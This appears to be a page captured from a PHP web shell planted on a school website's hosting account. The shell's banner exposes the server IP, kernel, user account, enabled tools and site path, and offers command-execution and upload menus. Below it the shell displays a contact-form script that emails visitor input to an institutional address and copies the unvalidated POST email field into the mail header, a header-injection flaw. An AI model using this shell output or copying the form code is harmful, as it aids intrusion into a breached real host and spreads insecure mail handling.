Server IP : 62.72.28.201 / Your IP : 3.144.122.20 Web Server : LiteSpeed System : Linux in-mum-web1113.main-hosting.eu 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : u249650955 ( 249650955) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : ON Directory (0755) : /home/u249650955/domains/ladyflorencepublicschool.com/public_html/css/../ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php $cname = $_POST['name']; $cemail = $_POST['email']; $cphone = $_POST['contact']; $cservice = $_POST['msg']; $to = "info.dwarka@fiitjee.com"; $subject = "Admission Enquiry"; $message = "<h2>Fiitjee Dwarka</h2>"; $message .= "<h4>Customer Name : ".$cname. "</h4><h4>Customer Email : ".$cemail. "</h4><h4>Customer Contact. : ".$cphone. "</h4><h4>Customer Message : ".$cservice. "</h4>"; $header = "From:".$_POST['email']."\r\n"; //$header = "Cc:anshumank95@gmail.com\r\n"; $header .= "MIME-Version: 1.0\r\n"; $header .= "Content-type: text/html\r\n"; if (!ini_get("safe_mode")) $retval = mail($to,$subject,$message,$header); if( $retval == true ) { echo '<script> alert("Thank you for contacting fiitjee Dwarka...We will revert you soon."); </script>'; echo "<script>location.href='index.php';</script>"; } else { echo '<script> alert("Message Not Sent . Please Fill details again."); </script>'; echo "<script>location.href='index.php';</script>"; } ?>